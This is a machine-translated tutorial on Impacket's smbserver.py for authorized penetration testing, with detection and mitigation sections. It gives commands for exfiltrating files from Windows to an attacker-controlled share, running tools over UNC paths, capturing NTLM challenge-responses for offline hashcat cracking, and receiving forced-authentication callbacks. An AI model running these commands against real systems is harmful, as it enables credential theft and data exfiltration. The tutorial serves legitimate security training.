smbserver.py: SMB Server for File Transfer and NTLM

smbserver.py — Creating an SMB Server on Kali with Impacket #

smbserver.py Starts a temporary SMB server and publishes a local directory as a network share. It's useful for transferring files between Linux and Windows, logging received NTLM authentication, and observing callbacks generated by coercion techniques. On modern Windows clients, this is typically required. -smb2support; to distribute files without allowing uploads it is advisable to add -readonly.

smbserver.py is part of Packet and implement a server SMB directly in Python.

The tool is used primarily during authorized penetration testing and laboratory administration activities for:

• publish files from Linux to Windows;
• receive files from a Windows system;
• execute a program through a UNC path;
• record received NTLM challenge-responses;
• observe SMB authentications triggered by duress;
• test the behavior of clients that require SMB signing.

The guide has been verified on:

• Package 0.13.1, stable release;
• official branch master;
• real parser of examples/smbserver.py;
• implementation impacket/smbserver.py;
• Microsoft documentation regarding SMBv1 and alternative SMB ports.

In the relevant sections, the stable release parser and the branch parser master they expose the same options.

Official references:

• smbserver.py — Impacket 0.13.1
• smbserver.py — branch master
• Impacket SMB Server Implementation
• Official Impacket Changelog

What smbserver.py actually does #

The basic syntax requires two positional arguments:

impacket-smbserver SHARENAME /percorso/locale

SHARENAME This is the name under which the share is published.

The second argument is the local directory exposed by the server.

Example:

mkdir -p /tmp/share

sudo impacket-smbserver TOOLS /tmp/share \
  -smb2support

From the Windows client the share will be reachable as:

\\IP_KALI\TOOLS

For example:

dir \\10.10.14.5\TOOLS

The default port is TCP 445. On Linux systems, listening on a port lower than 1024 normally requires elevated privileges; therefore the examples use sudo.

Full syntax #

impacket-smbserver [opzioni] SHARENAME SHAREPATH

Always check the parser version installed:

impacket-smbserver -h

In some manual installations the command may be available as:

python3 smbserver.py SHARENAME SHAREPATH

Options actually present #

These options do not exist:

-computer
-domain

the options -computeraccount* They are not used to cosmetically change the server's NetBIOS name. They are used to configure a valid computer account to handle SMB2 authentication signed via Netlogon or Kerberos.

SMB1, SMB2 and modern Windows systems #

Without -smb2support, the server uses the SMB1 behavior expected by the Impacket example.

SMBv1 is deprecated and not installed by default in modern versions of Windows. Starting with Windows 10 and Windows Server version 1709, SMBv1 has been gradually removed from the default availability; Windows 11 does not normally include SMBv1 clients and servers in a new installation.

For this, in most modern environments you have to use:

sudo impacket-smbserver TOOLS /tmp/share \
  -smb2support

It is not correct to say that -smb2support Either absolutely mandatory or guaranteed to be compatible with any client. A legacy system with SMBv1 still enabled can connect without this option, while modern signing, authentication, or firewall policies may still prevent the connection.

Create a read-only share #

If you need to distribute tools or documents without allowing clients to upload files, use:

sudo impacket-smbserver TOOLS /opt/tools \
  -smb2support \
  -readonly

With -readonly Sharing allows reading but prevents creating or modifying files.

From the client:

dir \\10.10.14.5\TOOLS
copy \\10.10.14.5\TOOLS\tool.exe C:\Windows\Temp\tool.exe

An attempt to write should instead fail:

copy C:\Windows\Temp\loot.zip \\10.10.14.5\TOOLS\

Read-only mode is recommended when the server is used exclusively as a file repository.

Share with authentication #

Without -username, the parser configures the server to allow anonymous connections.

To limit access, you can set a username and password:

sudo impacket-smbserver TRANSFER /tmp/share \
  -smb2support \
  -username transfer \
  -password 'S3curePass!'

From the Windows client:

net use \\10.10.14.5\TRANSFER /user:transfer S3curePass!

After authentication:

dir \\10.10.14.5\TRANSFER
copy \\10.10.14.5\TRANSFER\tool.exe C:\Windows\Temp\
copy C:\Windows\Temp\results.zip \\10.10.14.5\TRANSFER\

At the end:

net use \\10.10.14.5\TRANSFER /delete

Authentication limits who can use the share, but it doesn't automatically make the traffic invisible or similar to that of a corporate file server. The destination, source process, and SMB traffic remain observable.

Password requested interactively #

If you specify -username Without providing either a password or a hash, the tool prompts for the password:

sudo impacket-smbserver TRANSFER /tmp/share \
  -smb2support \
  -username transfer

This avoids leaving the password directly in the shell history.

Configure NTLM hash authentication #

The server can accept a credential configured via hash:

sudo impacket-smbserver TRANSFER /tmp/share \
  -smb2support \
  -username transfer \
  -hashes :NTHASH

Full format:

sudo impacket-smbserver TRANSFER /tmp/share \
  -smb2support \
  -username transfer \
  -hashes LMHASH:NTHASH

This is not a normal Pass-the-Hash attack against a remote server.

The hash is configured in the Impacket server as a secret to verify client authentication. The client must still prove possession of the password or corresponding cryptographic material.

Do not combine -password e -hashes.

Set comment and listening address #

Share comment #

sudo impacket-smbserver BACKUP /tmp/share \
  -smb2support \
  -comment "Temporary backup repository"

The comment may be displayed by clients when enumerating shares, but it does not change the actual identity of the host or constitute an evasion technique.

Bind to a specific address #

sudo impacket-smbserver TRANSFER /tmp/share \
  -smb2support \
  -ip 10.10.14.5

This is useful on systems with multiple interfaces, VPNs, or tunnels.

Without -ip, the parser normally uses:

0.0.0.0

With -6, the default value becomes:

::

IPv6 Listener #

To make the server listen on IPv6:

sudo impacket-smbserver TRANSFER /tmp/share \
  -6 \
  -smb2support

Or specify the address directly:

sudo impacket-smbserver TRANSFER /tmp/share \
  -6 \
  -ip '2001:db8::10' \
  -smb2support

The syntax used by the Windows client depends on how the IPv6 name is resolved. It's generally better to use a valid DNS hostname rather than directly inserting an IPv6 address into the UNC path.

Use a port other than 445 #

The server can listen on an alternative TCP port:

sudo impacket-smbserver TRANSFER /tmp/share \
  -smb2support \
  -port 8445

However, you cannot specify the port with a syntax like:

\\10.10.14.5@8445\TRANSFER

This UNC syntax is not valid for SMB.

Client support for alternative SMB TCP ports is available on recent Windows versions, specifically Windows 11 24H2 and Windows Server 2025, via an explicit mapping.

PowerShell:

New-SmbMapping `
  -LocalPath "Z:" `
  -RemotePath "\\10.10.14.5\TRANSFER" `
  -TcpPort 8445

Command Prompt:

net use Z: \\10.10.14.5\TRANSFER /TCPPORT:8445

This feature requires administrative privileges and is not supported as well by older Windows clients.

For widest compatibility, use TCP 445 or transparent port forwarding that presents the client with the standard port.

Scenario 1 — Transferring Files from Linux to Windows #

Prepare a directory:

mkdir -p /tmp/tools
cp /opt/tools/tool.exe /tmp/tools/

Start a read-only share:

sudo impacket-smbserver TOOLS /tmp/tools \
  -smb2support \
  -readonly

From Windows system:

dir \\10.10.14.5\TOOLS
copy \\10.10.14.5\TOOLS\tool.exe C:\Windows\Temp\tool.exe

From PowerShell:

Copy-Item `
  "\\10.10.14.5\TOOLS\tool.exe" `
  "C:\Windows\Temp\tool.exe"

Execution via UNC path #

Some programs can be launched directly from the share:

\\10.10.14.5\TOOLS\tool.exe

PowerShell:

& "\\10.10.14.5\TOOLS\tool.exe"

This avoids explicit copying to the path chosen by the operator, but it doesn't mean execution is fileless or artifact-free. Windows, antivirus, EDR, and other components can still analyze, store, or record remote content.

Scenario 2 — Receiving files from Windows #

To allow uploads do not use -readonly:

mkdir -p /tmp/loot

sudo impacket-smbserver LOOT /tmp/loot \
  -smb2support \
  -username transfer \
  -password 'S3curePass!'

From the client:

net use \\10.10.14.5\LOOT /user:transfer S3curePass!
copy C:\Windows\Temp\results.zip \\10.10.14.5\LOOT\
net use \\10.10.14.5\LOOT /delete

PowerShell:

Copy-Item `
  "C:\Windows\Temp\results.zip" `
  "\\10.10.14.5\LOOT\results.zip"

Use pre-prepared and accessible files.

Do not present protected or in-use files, such as the active Active Directory database NTDS.dit, like normal files that can be copied with copyThe acquisition of NTDS.dit requires dedicated workflows, specific privileges and tools such as secretsdump, DRSUAPI, VSS or ntdsutil.

Manage existing SMB connections #

Windows does not normally allow simultaneous connections to the same server using different credentials.

A common mistake is:

System error 1219 has occurred.
Multiple connections to a server or shared resource by the same user,
using more than one user name, are not allowed.

Remove existing connection:

net use \\10.10.14.5\TRANSFER /delete

To view all connections:

net use

In a laboratory, when necessary:

net use * /delete

This last command deletes all the user's network connections and may interrupt legitimate logins: do not use it indiscriminately.

Scenario 3 — Record NTLM authentications #

When a Windows client accesses an SMB resource and negotiates NTLM, the server can receive either an NTLMv1 or NTLMv2 challenge-response.

Start the listener:

sudo impacket-smbserver CAPTURE /tmp/capture \
  -smb2support \
  -outputfile /tmp/smbserver.log \
  -ts

A connection to the path:

\\10.10.14.5\CAPTURE

It can produce information in the log such as:

DOMAIN\username
workstation
challenge
NTLM response

The availability of a challenge-response, however, depends on the method actually negotiated.

It is not correct to say that every SMB connection always sends Net-NTLMv2:

• the client can use Kerberos;
• the client can log in anonymously;
• NTLM can be disabled;
• connection may fail before authentication;
• a legacy system can negotiate NTLMv1;
• Network policies may block the connection.

Offline Crack #

A Net-NTLMv2 challenge-response can be verified offline with Hashcat:

hashcat -m 5600 netntlmv2.txt \
  /usr/share/wordlists/rockyou.txt

For NTLMv1 the Hashcat format and mode are different.

The Net-NTLMv2 challenge response:

• it is not the NT hash of the account;
• cannot be used directly with Pass-the-Hash;
• depends on the specific authentication challenge;
• can be cracked offline;
• It can only be relayed while authentication is in progress, using a suitable listener.

Capture and relay are not the same thing #

smbserver.py It can receive and record authentication, but does not implement a complete relay workflow to a second service.

To run a relay you need to use ntlmrelayx.py as a listener from the start.

You can not:

1. capture a response with smbserver.py;
2. save her;
3. relay it at a later time.

NTLM relay occurs in real time, forwarding the negotiation between the client and the target service.

Additionally, the ability to relay depends on the target's protocol and protections:

• SMB signing required prevents normal SMB relay;
• LDAP signing and channel binding may prevent certain LDAP relays;
• EPA can protect HTTP services;
• the received identity must have useful privileges on the target;
• The challenge and session cannot be arbitrarily reused.

Comparison:

Scenario 4 — Receiver for a coercion #

A coercion technique attempts to force a Windows system to authenticate to a destination chosen by the operator.

If the authorized purpose is only to observe or record the callback, smbserver.py can be used as a receiver:

sudo impacket-smbserver COERCE /tmp/coerce \
  -smb2support \
  -outputfile /tmp/coercion.log \
  -ts

The coercion technique must therefore indicate the IP of the Impacket server as the listener.

The result could be an authentication from:

• a user account;
• a computer account ending with $;
• a service;
• an anonymous or unusable identity.

If your goal is to relay authentication, you need to stop smbserver.py and start ntlmrelayx.py on the requested port before triggering the callback.

Two processes cannot normally use the same address and TCP port 445 at the same time.

Spontaneous callbacks and forced authentication #

UNC paths inserted in shortcuts, documents, icons, or other files can cause an SMB request when Windows attempts to load the remote resource.

This technique falls under MITRE ATT&CK T1187 — Forced Authentication.

There is no need to turn this article into a collection of files .lnk, .scf, Office, playlist or other lure. The role of smbserver.py the one of the server receiving the request remains.

To learn more about the different sources of automatic authentication, see:

• HackTricks — Places to steal NTLM credentials
• MITER ATT&CK T1187 — Forced Authentication

Clients requiring SMB signing #

Impacket 0.13.1 introduced improved support for clients requiring signed SMB connections.

To handle arbitrary domain users when the client forces signing, smbserver.py may use a valid computer account and related cryptographic material.

With NT hash:

sudo impacket-smbserver SECURE /tmp/share \
  -smb2support \
  -computeraccountname 'KALISRV$' \
  -computeraccounthash NTHASH \
  -computeraccountdomain corp.local \
  -dc-ip 10.10.10.5

With password:

sudo impacket-smbserver SECURE /tmp/share \
  -smb2support \
  -computeraccountname 'KALISRV$' \
  -computeraccountpassword 'MachinePassword' \
  -computeraccountdomain corp.local \
  -dc-ip 10.10.10.5

With AES key:

sudo impacket-smbserver SECURE /tmp/share \
  -smb2support \
  -computeraccountname 'KALISRV$' \
  -computeraccountaes AES_KEY \
  -computeraccountdomain corp.local \
  -dc-ip 10.10.10.5

Requirements:

• computer account already exists and is valid;
• knowledge of the password, NT hash or AES key;
• domain name;
• Domain Controller reachable;
• SMB2 enabled;
• time synchronization and consistent DNS for Kerberos.

Mandatory options are:

-computeraccountname
-computeraccountdomain
-dc-ip

You must also provide at least one of:

-computeraccounthash
-computeraccountaes
-computeraccountpassword

You cannot combine credentials -username with those -computeraccount*.

These options do not create a computer account, do not automatically perform domain join, and do not simply disguise the server name.

Disable Kerberos or NTLM #

Don't offer Kerberos #

sudo impacket-smbserver SHARE /tmp/share \
  -smb2support \
  -disablekerberos

Do not offer NTLM #

sudo impacket-smbserver SHARE /tmp/share \
  -smb2support \
  -disablentlm

These options are used to control the mechanisms proposed by the server during negotiation.

They don't guarantee that the client will be able to complete the login. If you disable the only method supported by the client or environment, authentication will fail.

-dropssp #

sudo impacket-smbserver SHARE /tmp/share \
  -smb2support \
  -dropssp

-dropssp disable NTLM ESS/SSP during negotiation.

This is an advanced option that can reduce compatibility or change the challenge response type. It shouldn't be described as a universal bypass or an automatically invisible technique.

Logging, timestamping and debugging #

Save the log #

sudo impacket-smbserver SHARE /tmp/share \
  -smb2support \
  -outputfile /tmp/smbserver.log

Add timestamp #

sudo impacket-smbserver SHARE /tmp/share \
  -smb2support \
  -outputfile /tmp/smbserver.log \
  -ts

Enable debugging #

sudo impacket-smbserver SHARE /tmp/share \
  -smb2support \
  -debug

Debugging is useful for diagnosing:

• binding errors;
• incompatible SMB dialects;
• authentication failed;
• incomplete computer account configurations;
• Kerberos problems;
• broken connections;
• filesystem access errors.

Logs may contain:

• IP addresses;
• usernames;
• workstation names;
• challenge-response NTLM;
• file names and paths;
• authentication errors.

They must be treated as sensitive data.

Common mistakes #

Permission denied or binding error on port 445 #

Cause: User cannot open a privileged port.

Solution:

sudo impacket-smbserver SHARE /tmp/share \
  -smb2support

Or use a high port with a modern client explicitly configured for the alternate port.

Address already in use #

Another process is already using TCP 445.

Verify:

sudo ss -lntp | grep ':445'

Possible services:

• Samba;
• an altro smbserver.py;
• ntlmrelayx.py;
• Responder;
• laboratory container or listener.

Stop the conflicting process or change the port and workflow.

Windows client does not connect #

Check it out:

1. -smb2support;
2. Kali local firewall;
3. TCP reachability 445;
4. routing and VPN;
5. configured credentials;
6. existing SMB connections;
7. NTLM policy;
8. SMB signing;
9. dialects supported;
10. log -debug.

Test from the client:

Test-NetConnection 10.10.14.5 -Port 445

System error 53 #

Windows cannot find the network path.

Possible causes:

• Incorrect IP;
• port 445 filtered;
• incorrect share name;
• server not started;
• no routing;
• firewall;
• using a non-standard port without mapping.

System error 5 o Access is denied #

Possible causes:

• incorrect credentials;
• share read-only during an upload;
• insufficient Linux permissions on the directory;
• account not configured;
• incompatible authentication;
• signing required but not handled by the workflow used.

Check permissions:

ls -ld /tmp/share
ls -l /tmp/share

Anonymous connection blocked #

Windows and corporate policies may prevent guest or anonymous access.

Set up an identity:

sudo impacket-smbserver SHARE /tmp/share \
  -smb2support \
  -username transfer \
  -password 'S3curePass!'

Client:

net use \\10.10.14.5\SHARE /user:transfer S3curePass!

No challenge response in the log #

Possible causes:

• Kerberos negotiation;
• NTLM disabled;
• anonymous access;
• connection dropped before authentication;
• credentials already stored;
• security policy;
• path never actually opened;
• traffic blocked.

For a controlled test, you can disable Kerberos on the server:

sudo impacket-smbserver CAPTURE /tmp/capture \
  -smb2support \
  -disablekerberos \
  -outputfile /tmp/capture.log

This does not, however, force a client with NTLM blocked to authenticate.

The client requires SMB signing #

If the client forces signing and the base server fails to complete the session, evaluate the workflow with:

-computeraccountname
-computeraccountdomain
-computeraccounthash / -computeraccountaes / -computeraccountpassword
-dc-ip
-smb2support

You need a valid computer account. It's not enough to make up a name ending with . $.

Detection #

On the defensive side, smbserver.py It does not generate a Windows event with the tool name. The server is running on Linux, so Windows events related to accessing a Windows-hosted share are not generated on the Kali system.

Useful indicators:

• outbound TCP 445 connections to unauthorized IPs;
• SMB traffic to workstations or systems not registered as file servers;
• cmd.exe, PowerShell, or other processes accessing unusual UNC paths;
• executables loaded from a remote share;
• large copies of data to an unapproved host;
• NTLM authentications to external or anomalous destinations;
• coercion sequences followed by SMB connection;
• repeated authentications of computer accounts to the same listener.

4648 Event #

Security event 4648 may be generated when a process attempts to logon using explicitly supplied credentials, such as in certain uses of:

net use \\server\share /user:utente password

It is not specific to smbserver.py and may have legitimate administrative causes.

4776 Event #

Event 4776 is logged on the authoritative system when an NTLM validation occurs:

• on the Domain Controller for a domain account;
• on the local system for a local account.

It is not guaranteed in every connection to smbserver.py. When the Impacket server locally verifies a credential configured with -username and password or hash, NTLM validation on the Domain Controller may not be required.

Events 5140 and 5145 #

Events 5140 and 5145 involve accessing shares hosted by a Windows server.

Since the share in this scenario is hosted by Kali via Impacket, these events are not generated on the SMB server. They may be relevant in other workflows involving real Windows shares.

Endpoint and network telemetry #

Useful sources:

• Windows Defender Firewall;
• Microsoft-Windows-SMBClient;
• EDR;
• Sysmon;
• internal proxies and firewalls;
• NetFlow;
• IDS/IPS;
• process creation, when enabled;
• DNS and asset inventory.

The most effective correlation is:

processo insolito
    ↓
percorso UNC verso host non autorizzato
    ↓
connessione TCP 445
    ↓
autenticazione NTLM
    ↓
download, upload o esecuzione

Mitigations #

• block outbound SMB to the Internet;
• allow TCP 445 only to authorized file servers;
• use allowlists for SMB servers;
• segment user networks, servers, and administrative systems;
• limit NTLM where possible;
• request SMB signing in appropriate contexts;
• monitor UNC paths to IP addresses;
• prevent binaries from running from untrusted shares;
• apply application control;
• monitor files .lnk, .scf and documents referencing remote resources;
• detect RPC coercions and subsequent SMB authentications;
• use strong passwords to reduce the effectiveness of offline cracking;
• protect privileged accounts from authentication to untrusted systems.

MITRE ATT&CK specifically recommends filtering outbound SMB and restricting access to approved destinations to mitigate forced authentication and lateral transfers.

Cleanup #

Stop the server with:

Ctrl+C

On the Windows client, delete the connection:

net use \\10.10.14.5\SHARE /delete

If you used a drive:

net use Z: /delete

Remove temporary files from the client:

del C:\Windows\Temp\tool.exe
del C:\Windows\Temp\results.zip

Protect or delete files received on the server:

rm -f /tmp/loot/results.zip

Remove logs containing sensitive data:

rm -f /tmp/smbserver.log
rm -f /tmp/coercion.log
rm -f /tmp/capture.log

If the file system, snapshots, or lab procedures require it, apply the deletion method specified in the policy. A normal deletion does not guarantee that data is irretrievable from SSDs, snapshots, copy-on-write file systems, or backups.

smbserver.py It does not modify Active Directory and does not require cleanup on the domain unless the complementary workflow has created computer accounts, modified ACLs, or performed other operations.

Cheat sheet #

# Share base con SMB2
sudo impacket-smbserver SHARE /tmp/share \
  -smb2support

# Share read-only
sudo impacket-smbserver TOOLS /opt/tools \
  -smb2support \
  -readonly

# Autenticazione con password
sudo impacket-smbserver SHARE /tmp/share \
  -smb2support \
  -username transfer \
  -password 'S3curePass!'

# Autenticazione con hash
sudo impacket-smbserver SHARE /tmp/share \
  -smb2support \
  -username transfer \
  -hashes :NTHASH

# Bind su un IP specifico
sudo impacket-smbserver SHARE /tmp/share \
  -smb2support \
  -ip 10.10.14.5

# Listener IPv6
sudo impacket-smbserver SHARE /tmp/share \
  -6 \
  -smb2support

# Logging con timestamp
sudo impacket-smbserver CAPTURE /tmp/capture \
  -smb2support \
  -outputfile /tmp/smbserver.log \
  -ts

# Debug
sudo impacket-smbserver SHARE /tmp/share \
  -smb2support \
  -debug

# Non offrire Kerberos
sudo impacket-smbserver SHARE /tmp/share \
  -smb2support \
  -disablekerberos

# Non offrire NTLM
sudo impacket-smbserver SHARE /tmp/share \
  -smb2support \
  -disablentlm

# Client con signing tramite computer account e NT hash
sudo impacket-smbserver SECURE /tmp/share \
  -smb2support \
  -computeraccountname 'KALISRV$' \
  -computeraccounthash NTHASH \
  -computeraccountdomain corp.local \
  -dc-ip 10.10.10.5

# Copia da share a Windows
copy \\10.10.14.5\SHARE\tool.exe C:\Windows\Temp\tool.exe

# Copia da Windows alla share
copy C:\Windows\Temp\results.zip \\10.10.14.5\SHARE\

# Autenticazione esplicita dal client
net use \\10.10.14.5\SHARE /user:transfer S3curePass!

# Elimina la connessione
net use \\10.10.14.5\SHARE /delete

# Porta alternativa su Windows 11 24H2 / Server 2025
New-SmbMapping `
  -LocalPath "Z:" `
  -RemotePath "\\10.10.14.5\SHARE" `
  -TcpPort 8445

Mistakes not to be repeated #

-computer                    → opzione inesistente
-domain                      → opzione inesistente
\\IP@PORTA\SHARE             → sintassi UNC errata
-smb2support funziona sempre → affermazione assoluta errata
autenticazione = stealth     → falso
ogni connessione = NTLMv2    → falso
Net-NTLMv2 = NT hash         → falso
Net-NTLMv2 catturato = PtH   → falso
hash catturato relayabile dopo → falso, il relay è in tempo reale
esecuzione UNC = fileless    → falso
copy diretto di NTDS.dit     → workflow errato
5140/5145 sul client         → non descrivono la share ospitata da Kali

Related Hackita Articles #

• Impacket: complete suite
• SMB: Protocol, Ports, and Security
• ntlmrelayx.py: NTLM authentication relay
• Responder: Poisoning and NTLM Authentication
• Lateral Movement on Windows
• Credential Dumping on Windows
• Pass the Hash

Technical sources #

Primary sources #

• Fortra Impacket — official repository
• smbserver.py — Impacket 0.13.1
• smbserver.py — branch master
• SMB server implementation
• Changelog Package 0.13.1
• Microsoft — SMBv1 not installed by default
• Microsoft — alternative SMB ports
• Microsoft — Event 4648
• Microsoft — Event 4776
• MITER ATT&CK T1187 — Forced Authentication
• MITER ATT&CK T1570 — Lateral Tool Transfer

Operational sources for comparison #

• HackTricks — Places to steal NTLM credentials
• The Hacker Recipes — SMB
• InternalAllTheThings — Active Directory
• Hacking Articles — File Transfer Cheat Sheet

Use these techniques only on systems you own or have explicit permission to use.